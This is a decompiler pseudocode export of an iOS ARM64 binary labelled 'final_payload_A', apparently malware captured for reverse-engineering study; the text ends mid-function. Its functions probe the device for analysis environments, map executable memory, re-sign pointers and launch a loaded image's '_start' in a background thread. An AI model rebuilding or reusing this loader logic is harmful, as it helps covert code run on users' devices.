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final_payload_A_16434916_macho_pseudocode.c
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5918 lines (5367 loc) · 155 KB
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// Pseudocode / Disassembly export
// Source: final_payload_A_16434916_macho.bin
// Functions: 167
// Hex-Rays: available
// Generated: 2026-03-05 01:07:34
////////////////////////////////////////////////////////////////////////
// Function: sub_5CEC
// Address: 0x5CEC Size: 64 bytes
// Calls: sub_7BC0, sub_B0FC
// Xrefs: 2 callers
////////////////////////////////////////////////////////////////////////
bool sub_5CEC()
{
return (unsigned int)sub_7BC0() != 0;
}
////////////////////////////////////////////////////////////////////////
// Function: sub_5D2C
// Address: 0x5D2C Size: 60 bytes
// Calls: sub_B0FC
// Xrefs: 21 callers
////////////////////////////////////////////////////////////////////////
void sub_5D2C()
{
;
}
////////////////////////////////////////////////////////////////////////
// Function: sub_5D68
// Address: 0x5D68 Size: 96 bytes
// Calls: sub_7BC0, sub_7BA0, sub_B0FC
// Xrefs: 4 callers
////////////////////////////////////////////////////////////////////////
__int64 __fastcall sub_5D68(__int64 a1, __int64 a2)
{
if ( (unsigned int)sub_7BC0() )
return sub_7BA0(a1, a2);
return a1;
}
////////////////////////////////////////////////////////////////////////
// Function: sub_5DC8
// Address: 0x5DC8 Size: 176 bytes
// Calls: _sys_dcache_flush, _sys_icache_invalidate, sub_B0FC
// Xrefs: 2 callers
////////////////////////////////////////////////////////////////////////
__int64 __fastcall sub_5DC8(__int64 result, __int64 a2, unsigned int a3)
{
unsigned int v3; // w19
__int64 v4; // x20
unsigned int v5; // w23
unsigned int v6; // w8
unsigned int v7; // w25
__int64 v8; // x21
if ( !a2 || (v3 = a3, v4 = a2, !a3) )
{
v3 = *(_DWORD *)(result + 144);
if ( !v3 )
return result;
v4 = *(_QWORD *)(result + 136);
}
v5 = 0;
v6 = v3;
do
{
v7 = v6 - 327680;
if ( v6 >= 0x50000 )
v8 = 327680;
else
v8 = v6;
sys_dcache_flush(v4 + v5, v8);
result = sys_icache_invalidate(v4 + v5, v8);
v5 += 327680;
v6 = v7;
}
while ( v3 > v5 );
return result;
}
////////////////////////////////////////////////////////////////////////
// Function: sub_5E78
// Address: 0x5E78 Size: 212 bytes
// Calls: _bzero, sub_B0FC
// Xrefs: 3 callers
////////////////////////////////////////////////////////////////////////
__int64 __fastcall sub_5E78(__int64 a1, unsigned int a2)
{
__int64 v3; // x8
unsigned int *v4; // x10
__int64 v5; // x9
unsigned int v6; // w11
unsigned int v7; // w12
unsigned int v8; // w13
void *v9; // x0
v3 = *(unsigned int *)(a1 + 144);
v4 = *(unsigned int **)(a1 + 312);
v5 = *(_QWORD *)(a1 + 136) + v3;
if ( !v4 )
v4 = (unsigned int *)(v5 - 4);
LABEL_3:
v6 = atomic_load(v4);
v7 = v6 + a2 + 4 * (v6 == 0);
if ( v7 > (unsigned int)v3 )
return 49155;
do
{
v8 = __ldaxr(v4);
if ( v8 != v6 )
{
__clrex();
goto LABEL_3;
}
}
while ( __stlxr(v7, v4) );
v9 = (void *)(v5 - v7);
*(_QWORD *)(a1 + 72) = v9;
*(_DWORD *)(a1 + 80) = a2;
bzero(v9, a2);
if ( *(_QWORD *)(a1 + 288) )
sub_B0FC(a1, *(_QWORD *)(a1 + 72), *(unsigned int *)(a1 + 80));
return 0;
}
////////////////////////////////////////////////////////////////////////
// Function: sub_5F4C
// Address: 0x5F4C Size: 84 bytes
// Calls: sub_B0FC
// Xrefs: 1 callers
////////////////////////////////////////////////////////////////////////
__int64 __fastcall sub_5F4C(__int64 a1, unsigned __int64 a2)
{
unsigned __int64 v2; // x9
__int64 v3; // x8
v2 = *(unsigned int *)(a1 + 80);
if ( v2 < a2 )
return 0;
v3 = *(_QWORD *)(a1 + 72);
*(_QWORD *)(a1 + 72) = v3 + a2;
*(_DWORD *)(a1 + 80) = v2 - a2;
return v3;
}
////////////////////////////////////////////////////////////////////////
// Function: sub_5FA0
// Address: 0x5FA0 Size: 76 bytes
// Calls: _bzero, sub_B0FC
// Xrefs: 2 callers
////////////////////////////////////////////////////////////////////////
__int64 __fastcall sub_5FA0(int a1, void *a2, size_t a3)
{
if ( a2 && a3 )
bzero(a2, a3);
return 0;
}
////////////////////////////////////////////////////////////////////////
// Function: sub_5FEC
// Address: 0x5FEC Size: 2284 bytes
// Calls: sub_B0FC, sub_AD8C, sub_8430, sub_A418, _task_info, sub_8798, sub_87D8, sub_8840, sub_88B4, sub_8928, _mmap, sub_8590, _vm_allocate, _memcpy, _vm_protect
// Xrefs: 2 callers
// Strings: "_start", " P@"
////////////////////////////////////////////////////////////////////////
// bad sp value at call has been detected, the output may be wrong!
__int64 __fastcall sub_5FEC(
__int64 a1,
__int64 a2,
int a3,
_DWORD *a4,
int a5,
int a6,
int a7,
int a8,
__int64 a9,
int a10,
int a11,
__int64 a12,
mach_msg_type_number_t a13,
unsigned int a14,
__int64 a15,
__int64 a16,
int a17,
unsigned int __na,
size_t __n,
__int64 a20,
__int64 a21,
__int64 task_info_out,
__int64 a23,
int a24)
{
__int64 v27; // x0
__int64 v28; // x21
__int64 v29; // x0
__int64 v30; // x1
__int64 v32; // x0
__int64 v33; // x0
__int64 v34; // x0
__int64 v35; // x2
kern_return_t v36; // w0
__int64 v37; // x1
__int64 v38; // x2
__int64 v39; // x22
unsigned __int64 v40; // x8
vm_address_t v41; // x21
__int64 v42; // x1
__int64 v43; // x2
vm_address_t v44; // x22
unsigned __int64 v45; // x0
__int64 v46; // x1
__int64 v47; // x2
__int64 v48; // x22
__int64 v49; // x0
vm_address_t v50; // x8
kern_return_t v51; // w0
int v52; // w8
__int64 v53[8]; // [xsp+20h] [xbp-80h] BYREF
mach_msg_type_number_t task_info_outCnt; // [xsp+64h] [xbp-3Ch] BYREF
vm_address_t address; // [xsp+68h] [xbp-38h] BYREF
__int64 v56; // [xsp+B0h] [xbp+10h]
v53[0] = 0;
if ( a1 && *(_BYTE *)(a1 + 1515) && *(_QWORD *)(a1 + 1520) )
sub_B0FC(a1, 835585, 0);
v27 = sub_B0FC(a1, a2, v53);
if ( (_DWORD)v27 )
{
v28 = v27;
if ( *(_BYTE *)(a1 + 1515) && *(_QWORD *)(a1 + 1520) )
{
LABEL_8:
v29 = a1;
v30 = v28;
LABEL_9:
sub_B0FC(v29, v30, 0);
return v28;
}
return v28;
}
if ( !a15 || a14 <= 3 )
{
v28 = 708609;
if ( *(_BYTE *)(a1 + 1515) && *(_QWORD *)(a1 + 1520) )
{
v29 = a1;
v30 = 708609;
goto LABEL_9;
}
return v28;
}
if ( *(_QWORD *)(a1 + 152) )
sub_AD8C();
v32 = sub_8430(&a15, &a14);
if ( (_DWORD)v32 )
{
v28 = v32;
if ( *(_BYTE *)(a1 + 1515) && *(_QWORD *)(a1 + 1520) )
goto LABEL_8;
return v28;
}
if ( *(_BYTE *)(a1 + 1515) && *(_QWORD *)(a1 + 1520) )
sub_B0FC(a1, 835586, 0);
a12 = 0;
a11 = 0;
v33 = sub_B0FC(a1, 458752, a15);
if ( (_DWORD)v33 )
{
v28 = v33;
if ( *(_BYTE *)(a1 + 1515) && *(_QWORD *)(a1 + 1520) )
goto LABEL_8;
return v28;
}
v34 = sub_A418(a1, 458752, &a12, &a11);
if ( (_DWORD)v34 )
{
v28 = v34;
if ( *(_BYTE *)(a1 + 1515) && *(_QWORD *)(a1 + 1520) )
goto LABEL_8;
return v28;
}
*(_QWORD *)(a1 + 104) = a12;
*(_DWORD *)(a1 + 112) = a11;
if ( *(_BYTE *)(a1 + 1515) && *(_QWORD *)(a1 + 1520) )
sub_B0FC(a1, 835587, 0);
if ( *(_BYTE *)(a1 + 1474) || *(_BYTE *)(a1 + 1475) )
{
if ( !*(_BYTE *)(a1 + 1513) || *(_BYTE *)(a1 + 1512) )
{
LABEL_40:
*(_BYTE *)(a1 + 1476) = 1;
goto LABEL_41;
}
task_info_outCnt = 5;
task_info_out = 0;
a23 = 0;
a24 = 0;
address = 0;
v36 = task_info(mach_task_self_, 0x11u, (task_info_t)&task_info_out, &task_info_outCnt);
if ( v36 )
{
v28 = v36 | 0x80000000;
goto LABEL_51;
}
if ( !task_info_out )
{
v28 = 20487;
goto LABEL_51;
}
v44 = *(_QWORD *)(task_info_out + 40) & 0xFFFFFFFFFFFFFFFELL;
if ( v44 )
{
address = *(_QWORD *)v44;
if ( !address )
{
v28 = 4097;
goto LABEL_51;
}
}
else
{
v56 = task_info_out;
a20 = 0;
a21 = 0;
__n = 0;
__na = 0;
v49 = sub_B0FC(a1, 327680, &__n);
if ( (_DWORD)v49
|| (v49 = sub_8590(a1, 589825, &a21), (_DWORD)v49)
|| (v49 = sub_87D8(a21, 0, &a20), (_DWORD)v49)
|| (a16 = mach_task_self_, v49 = sub_8840(a21, a20, 3221225499LL, &a16), (_DWORD)v49)
|| (!BYTE6(a16) || !BYTE5(a16))
&& (*(_WORD *)((char *)&a16 + 5) = 257, v49 = sub_8840(a21, a20, 1073741851, &a16), (_DWORD)v49)
|| (v49 = sub_8840(a21, a20, 13, 0), (_DWORD)v49) )
{
v28 = v49;
v44 = 0;
}
else
{
v44 = (vm_address_t)mmap(0, 0x1000000u, 3, 6146, -1, 0);
if ( v44 == -1 )
{
v52 = *__error();
if ( v52 < 0 )
v52 = -v52;
v28 = v52 | 0x40000000u;
}
else
{
v51 = vm_allocate(mach_task_self_, &address, 0x1000000u, 1);
if ( v51
|| (*(_QWORD *)v44 = address,
memcpy((void *)(v44 + vm_page_size), (const void *)__n, __na),
(v51 = vm_protect(mach_task_self_, v44, 0x1000000u, 0, 7)) != 0) )
{
v28 = v51 | 0x80000000;
}
else
{
v28 = sub_8840(a21, a20, 38, 0);
if ( !(_DWORD)v28 )
*(_QWORD *)(v56 + 40) = *(_QWORD *)(v56 + 40) & 1LL | v44;
}
}
}
v37 = a21;
if ( a21 )
{
if ( a20 )
{
sub_88B4(a21, a20);
v37 = a21;
}
sub_8928(a1, v37);
}
if ( (_DWORD)v28 )
{
LABEL_51:
if ( *(_BYTE *)(a1 + 1515) && *(_QWORD *)(a1 + 1520) )
goto LABEL_8;
return v28;
}
}
sub_B0FC(a1, v37, v38);
v50 = address;
*(_QWORD *)(a1 + 136) = address + 0x100000;
*(_DWORD *)(a1 + 144) = 15728640;
*(_QWORD *)(a1 + 312) = v50 + 16777212;
*(_QWORD *)(a1 + 1488) = v44;
*(_QWORD *)(a1 + 1496) = v50;
*(_DWORD *)(a1 + 80) = 0;
*(_QWORD *)(a1 + 296) = sub_5E78;
*(_QWORD *)(a1 + 40) = sub_5F4C;
*(_QWORD *)(a1 + 176) = sub_5FA0;
*(_BYTE *)(a1 + 1479) = 1;
*(_WORD *)(a1 + 1476) = 1;
goto LABEL_41;
}
if ( task_info(mach_task_self_, 0x11u, (task_info_t)&task_info_out, &a13) || (v39 = task_info_out) == 0 )
{
if ( !*(_BYTE *)(a1 + 1515) || !*(_QWORD *)(a1 + 1520) )
return 20487;
v28 = 20487;
v29 = a1;
v30 = 20487;
goto LABEL_9;
}
v40 = *(_QWORD *)(task_info_out + 40) & 0xFFFFFFFFFFFFFFFELL;
if ( v40 )
{
if ( (vm_page_mask & v40) != 0 )
{
if ( !*(_BYTE *)(a1 + 1515) || !*(_QWORD *)(a1 + 1520) )
return 20486;
v28 = 20486;
v29 = a1;
v30 = 20486;
goto LABEL_9;
}
*(_QWORD *)(a1 + 312) = 0;
*(_QWORD *)(a1 + 136) = v40;
*(_DWORD *)(a1 + 144) = 0x1000000;
*(_DWORD *)(a1 + 80) = 0;
*(_OWORD *)(a1 + 1488) = 0u;
}
else
{
v28 = sub_8798(a1, &a21);
if ( !(_DWORD)v28 )
{
v28 = sub_87D8(a21, 0, &address);
if ( !(_DWORD)v28 )
{
v28 = sub_8840(a21, address, 13, 0);
sub_88B4(a21, address);
}
sub_8928(a1, a21);
}
if ( (_DWORD)v28 == 28675 )
goto LABEL_40;
if ( (_DWORD)v28 )
{
if ( *(_BYTE *)(a1 + 1515) && *(_QWORD *)(a1 + 1520) )
goto LABEL_8;
return v28;
}
v45 = (unsigned __int64)mmap(0, 0x1000000u, 7, 6146, -1, 0);
if ( v45 == -1 )
v46 = 20488;
else
v46 = 0;
if ( v45 == -1 )
{
if ( *(_BYTE *)(a1 + 1515) && *(_QWORD *)(a1 + 1520) )
sub_B0FC(a1, v46, 0);
return 20488;
}
*(_QWORD *)(a1 + 312) = 0;
*(_QWORD *)(a1 + 136) = v45;
*(_DWORD *)(a1 + 144) = 0x1000000;
*(_DWORD *)(a1 + 80) = 0;
*(_OWORD *)(a1 + 1488) = 0u;
*(_QWORD *)(v39 + 40) = *(_QWORD *)(v39 + 40) & 1LL | v45;
}
LABEL_41:
if ( *(_BYTE *)(a1 + 1515) && *(_QWORD *)(a1 + 1520) )
sub_B0FC(a1, 835588, 0);
v28 = sub_B0FC(a1, 0x80000, v35);
if ( (_DWORD)v28 || (v28 = sub_B0FC(a1, 0x80000, &address), (_DWORD)v28) )
{
LABEL_46:
if ( *(_BYTE *)(a1 + 1515) && *(_QWORD *)(a1 + 1520) )
goto LABEL_8;
return v28;
}
v41 = address;
if ( !address )
{
v28 = 20484;
goto LABEL_46;
}
if ( *(_QWORD *)(a1 + 288) )
sub_B0FC(a1, *(_QWORD *)(address + 88), *(unsigned int *)(address + 168));
v28 = sub_B0FC(a1, v41, "_start");
if ( !(_DWORD)v28 )
{
if ( address )
{
if ( *(_BYTE *)(a1 + 1515) && *(_QWORD *)(a1 + 1520) )
sub_B0FC(a1, 835589, 0);
v48 = sub_B0FC(a1, v42, v43);
if ( *(_BYTE *)(a1 + 1515) && *(_QWORD *)(a1 + 1520) )
sub_B0FC(a1, v48, 0);
sub_B0FC(a1, 0x80000, v47);
v28 = 0;
*a4 = v48;
return v28;
}
v28 = 20485;
}
if ( *(_BYTE *)(a1 + 1515) && *(_QWORD *)(a1 + 1520) )
goto LABEL_8;
return v28;
}
////////////////////////////////////////////////////////////////////////
// Function: _process
// Address: 0x68D8 Size: 876 bytes
// Calls: sub_96F8, sub_8210, sub_7720, sub_8AB8, sub_B0FC, sub_71FC, _sysctlbyname, _bzero, _mach_host_self, _host_info, sub_8298, _malloc, _memcpy, _strdup, _pthread_attr_init
// Strings: "hw.l2cachesize", "kern.bootargs"
////////////////////////////////////////////////////////////////////////
// bad sp value at call has been detected, the output may be wrong!
__int64 __fastcall process(
__int64 a1,
__int64 a2,
__int64 a3,
__int64 a4,
__int64 a5,
__int64 a6,
__int64 a7,
__int64 a8,
__int64 a9,
size_t a10)
{
__int64 v10; // x21
__int64 result; // x0
int v13; // w1
int v14; // w2
int v15; // w3
int v16; // w4
int v17; // w5
int v18; // w6
int v19; // w7
unsigned int v20; // w8
int v21; // w8
int v22; // w9
int v23; // w0
unsigned int v24; // w8
unsigned int v25; // w8
int v26; // w8
mach_port_t v27; // w0
kern_return_t v28; // w8
_QWORD *v29; // x0
_QWORD *v30; // x20
const char *v31; // x0
char *v32; // x0
_OWORD *v33; // x19
_OWORD *v34; // x0
__int128 v35; // q1
const char *v36; // x0
char *v37; // x0
const char *v38; // x0
char *v39; // x0
const char *v40; // x0
char *v41; // x0
__int64 v42; // x0
void *(__cdecl *v43)(void *); // x0
__int64 v44; // [xsp+0h] [xbp-430h]
__int64 v45; // [xsp+8h] [xbp-428h]
__int64 v46; // [xsp+10h] [xbp-420h]
__int64 v47; // [xsp+18h] [xbp-418h]
__int64 v48; // [xsp+20h] [xbp-410h]
__int64 v49; // [xsp+28h] [xbp-408h]
__int64 v50; // [xsp+30h] [xbp-400h]
__int64 v51; // [xsp+38h] [xbp-3F8h]
__int64 v52; // [xsp+40h] [xbp-3F0h]
__int64 v53; // [xsp+48h] [xbp-3E8h]
char v54; // [xsp+50h] [xbp-3E0h]
size_t v55; // [xsp+408h] [xbp-28h] BYREF
v10 = 708617;
if ( !a1 )
return 708609;
result = sub_96F8(a1, a2, a3, a4, a5, a6, a7, a8);
if ( !(_DWORD)result )
{
result = sub_8210(a1);
if ( !(_DWORD)result )
{
result = sub_7720(
a1,
v13,
v14,
v15,
v16,
v17,
v18,
v19,
v44,
v45,
v46,
v47,
v48,
v49,
v50,
SHIDWORD(v50),
v51,
v52,
SHIDWORD(v52),
v53,
SHIDWORD(v53),
v54);
if ( !(_DWORD)result )
{
result = sub_8AB8(a1);
if ( !(_DWORD)result )
{
result = 708616;
if ( (unsigned __int64)(*(_QWORD *)(a1 + 208) - 0x18090006700000LL) <= 0xF090EFE400003LL )
{
if ( *(_BYTE *)(a1 + 1512) )
{
result = 159753;
v20 = *(_DWORD *)(a1 + 192);
if ( v20 < 0x100000 )
return result;
if ( v20 >= 0x100401 )
{
v21 = *(_DWORD *)(a1 + 224);
if ( v21 > 458787762 )
{
if ( v21 != 1176831186 )
{
v22 = 458787763;
LABEL_17:
if ( v21 != v22 )
return result;
}
}
else if ( v21 != -2023363094 )
{
v22 = -634136515;
goto LABEL_17;
}
}
}
LOBYTE(a10) = 1;
v23 = sub_71FC(&a10);
if ( (_BYTE)a10 )
v24 = 0;
else
v24 = 708644;
if ( v23 )
result = 708619;
else
result = v24;
if ( !(_DWORD)result )
{
v25 = *(_DWORD *)(a1 + 192);
result = 708616;
if ( v25 <= 0x1102FF )
{
if ( v25 < 0xE0000
|| ((a10 = 8, v55 = 0, v26 = sysctlbyname("hw.l2cachesize", &v55, &a10, 0, 0), !(v55 >> 20))
? (result = 708644)
: (result = 0),
v26 || v55 >= 0x100000) )
{
v55 = 1024;
bzero(&a10, 0x400u);
if ( !sysctlbyname("kern.bootargs", &a10, &v55, 0, 0)
&& (_BYTE)a10
&& ((unsigned __int8)a10 != 32 || BYTE1(a10)) )
{
return 708644;
}
if ( *(_DWORD *)(a1 + 192) > 0xF0000u )
goto LABEL_42;
LODWORD(a10) = 1;
v27 = mach_host_self();
v28 = host_info(v27, 11, (host_info_t)&v55, (mach_msg_type_number_t *)&a10);
result = (_DWORD)v55 ? 708644LL : 0LL;
if ( v28 )
goto LABEL_42;
}
if ( !(_DWORD)result )
{
LABEL_42:
result = sub_8298(a1);
if ( !(_DWORD)result )
{
v29 = malloc(0x648u);
if ( v29 )
{
v30 = v29;
memcpy(v29, (const void *)a1, 0x648u);
v31 = (const char *)v30[16];
if ( v31 )
{
v32 = strdup(v31);
if ( !v32 )
return v10;
v30[16] = v32;
}
v33 = (_OWORD *)v30[19];
if ( v33 )
{
v34 = malloc(0x20u);
if ( !v34 )
return v10;
v35 = v33[1];
*v34 = *v33;
v34[1] = v35;
v30[19] = v34;
}
v36 = (const char *)v30[15];
if ( v36 )
{
v37 = strdup(v36);
if ( !v37 )
return v10;
v30[15] = v37;
}
v38 = (const char *)v30[20];
if ( v38 )
{
v39 = strdup(v38);
if ( !v39 )
return v10;
v30[20] = v39;
}
v40 = (const char *)v30[21];
if ( !v40 )
goto LABEL_59;
v41 = strdup(v40);
if ( v41 )
{
v30[21] = v41;
LABEL_59:
v10 = 118785;
if ( !pthread_attr_init((pthread_attr_t *)&a10) )
{
if ( !pthread_attr_setdetachstate((pthread_attr_t *)&a10, 2) )
{
sub_5D2C();
v43 = (void *(__cdecl *)(void *))sub_B15C(v42, 0);
if ( pthread_create((pthread_t *)&v55, (const pthread_attr_t *)&a10, v43, v30) )
v10 = 118786;
else
v10 = 0;
}
pthread_attr_destroy((pthread_attr_t *)&a10);
}
}
}
return v10;
}
}
}
}
}
}
}
}
}
return result;
}
////////////////////////////////////////////////////////////////////////
// Function: sub_6C44
// Address: 0x6C44 Size: 640 bytes
// Calls: sub_5CEC, sub_5D68, _sigaction, ___error, _objc_alloc, sub_B1D4, sub_B15C, _malloc, _memcpy, _objc_msgSend$beginBackgroundTaskWithExpirationHandler:, -[UIApplication beginBackgroundTaskWithExpirationHandler:], sub_5FEC, _objc_msgSend$endBackgroundTask:, -[UIApplication endBackgroundTask:], __Block_object_dispose
// Xrefs: 1 callers
////////////////////////////////////////////////////////////////////////
__int64 __fastcall sub_6C44(__int64 a1)
{
__int64 v2; // x20
int v3; // w8
int v4; // w25
UIApplication *v5; // x0
UIApplication *v6; // x21
const void *v7; // x23
size_t v8; // x24
void *v9; // x0
__int64 v10; // x22
void *v11; // x0
int v12; // w2
int v13; // w4
int v14; // w5
int v15; // w6
int v16; // w7
__int64 v17; // x1
unsigned int v18; // w0
void *v19; // x2
int v20; // w8
__int64 v22; // [xsp+0h] [xbp-B0h]
int v23[2]; // [xsp+8h] [xbp-A8h] BYREF
__int64 v24; // [xsp+10h] [xbp-A0h]
mach_msg_type_number_t v25[2]; // [xsp+18h] [xbp-98h] BYREF
__int64 v26; // [xsp+20h] [xbp-90h]
__int64 v27; // [xsp+28h] [xbp-88h]
sigaction *v28; // [xsp+30h] [xbp-80h]
sigaction v29; // [xsp+38h] [xbp-78h] BYREF
__int64 v30; // [xsp+48h] [xbp-68h]
integer_t task_info_out[2]; // [xsp+50h] [xbp-60h]
sigaction v32; // [xsp+58h] [xbp-58h] BYREF
unsigned int v33; // [xsp+6Ch] [xbp-44h] BYREF
v2 = 708617;
v33 = 708608;
if ( *(unsigned __int16 *)(a1 + 194) > 0xEu || !sub_5CEC() )
{
v4 = 0;
goto LABEL_8;
}
v29.__sigaction_u.__sa_handler = (void (__cdecl *)(int))sub_5D68((__int64)sub_6FEC, 0);
*(_QWORD *)&v29.sa_mask = 0x4000000000LL;
if ( !sigaction(11, &v29, &v32) )
{
v4 = 1;
LABEL_8:
v29.__sigaction_u.__sa_handler = 0;
*(_QWORD *)&v29.sa_mask = &v29;
v30 = 0x2020000000LL;
*(_QWORD *)task_info_out = UIBackgroundTaskInvalid;
v5 = objc_alloc(&OBJC_CLASS___UIApplication);
if ( v5 )
{
v6 = v5;
*(_QWORD *)v23 = _NSConcreteStackBlock;
v24 = 3254779904LL;
*(_QWORD *)v25 = sub_6EC4;
v26 = (__int64)&unk_C090;
v27 = (__int64)v5;
v28 = &v29;
if ( !sub_5CEC() )
goto LABEL_13;
*(_QWORD *)v23 = sub_B1D4(_NSConcreteStackBlock, (unsigned __int64)v23 | 0x6AE1000000000000LL);
*(_QWORD *)v25 = sub_B15C(*(_QWORD *)v25, v25);
v7 = (const void *)v26;
if ( !v26 )
goto LABEL_13;
v8 = *(_QWORD *)(v26 + 8);
v9 = malloc(v8);
if ( v9 )
{
v10 = (__int64)v9;
memcpy(v9, v7, v8);
*(_QWORD *)(v10 + 16) = sub_B15C(*(_QWORD *)(v10 + 16), v10 + 16);
*(_QWORD *)(v10 + 24) = sub_B15C(*(_QWORD *)(v10 + 24), v10 + 24);
v26 = v10;
LABEL_13:
v11 = -[UIApplication beginBackgroundTaskWithExpirationHandler:](
v6,
"beginBackgroundTaskWithExpirationHandler:",
v23);
*(_QWORD *)(*(_QWORD *)&v29.sa_mask + 24LL) = v11;
v17 = *(_QWORD *)(a1 + 128);
if ( v17 )
{
v18 = sub_5FEC(
a1,
v17,
v12,
&v33,
v13,
v14,
v15,
v16,
v22,
v23[0],
v23[1],
v24,
v25[0],
v25[1],
v26,
v27,
(int)v28,
HIDWORD(v28),
(size_t)v29.__sigaction_u.__sa_handler,
*(__int64 *)&v29.sa_mask,
v30,
*(__int64 *)task_info_out,
(__int64)v32.__sigaction_u.__sa_handler,
v32.sa_mask);
if ( v18 )
v2 = v18;
else
v2 = v33;
v19 = *(void **)(*(_QWORD *)&v29.sa_mask + 24LL);
}
else
{
v19 = v11;
v2 = 0;
}
if ( v19 != (void *)UIBackgroundTaskInvalid )
{
-[UIApplication endBackgroundTask:](v6, "endBackgroundTask:");
*(_QWORD *)(*(_QWORD *)&v29.sa_mask + 24LL) = UIBackgroundTaskInvalid;
}
if ( v4 && sigaction(11, &v32, 0) )
{
v20 = *__error();
if ( v20 < 0 )
v20 = -v20;
v2 = v20 | 0x40000000u;
}
else if ( *(_BYTE *)(a1 + 1516) )
{
exit(0);
}
}
}
_Block_object_dispose(&v29, 8);
return v2;
}
v3 = *__error();
if ( v3 < 0 )
v3 = -v3;
return v3 | 0x40000000u;
}
////////////////////////////////////////////////////////////////////////
// Function: sub_6EC4
// Address: 0x6EC4 Size: 108 bytes
// Calls: _objc_msgSend$endBackgroundTask:, sub_B0FC
// Xrefs: 1 callers
////////////////////////////////////////////////////////////////////////
void *__fastcall sub_6EC4(__int64 a1)
{
void *result; // x0
result = objc_msgSend(
*(id *)(a1 + 32),
"endBackgroundTask:",
*(_QWORD *)(*(_QWORD *)(*(_QWORD *)(a1 + 40) + 8LL) + 24LL));
*(_QWORD *)(*(_QWORD *)(*(_QWORD *)(a1 + 40) + 8LL) + 24LL) = UIBackgroundTaskInvalid;
return result;
}
////////////////////////////////////////////////////////////////////////
// Function: sub_6F30
// Address: 0x6F30 Size: 100 bytes
// Calls: __Block_object_assign, sub_B0FC
// Xrefs: 2 callers
////////////////////////////////////////////////////////////////////////
void __fastcall sub_6F30(__int64 a1, __int64 a2)
{
_Block_object_assign((void *)(a1 + 32), *(const void **)(a2 + 32), 3);
_Block_object_assign((void *)(a1 + 40), *(const void **)(a2 + 40), 8);
}
////////////////////////////////////////////////////////////////////////
// Function: sub_6F94
// Address: 0x6F94 Size: 88 bytes
// Calls: __Block_object_dispose, sub_B0FC
// Xrefs: 2 callers
////////////////////////////////////////////////////////////////////////
void __fastcall sub_6F94(__int64 a1)
{
_Block_object_dispose(*(const void **)(a1 + 40), 8);
_Block_object_dispose(*(const void **)(a1 + 32), 3);
}
////////////////////////////////////////////////////////////////////////
// Function: sub_6FEC
// Address: 0x6FEC Size: 164 bytes
// Calls: _abort, sub_5D68, sub_B0FC
// Xrefs: 2 callers
////////////////////////////////////////////////////////////////////////
__int64 __fastcall sub_6FEC(__int64 a1, __int64 a2, __int64 a3)
{
__int64 *v3; // x19
unsigned __int64 v4; // x8
__int64 result; // x0
__int64 v6; // x9
unsigned __int64 v7; // x10
__int64 v8; // x0
__int64 v9; // x8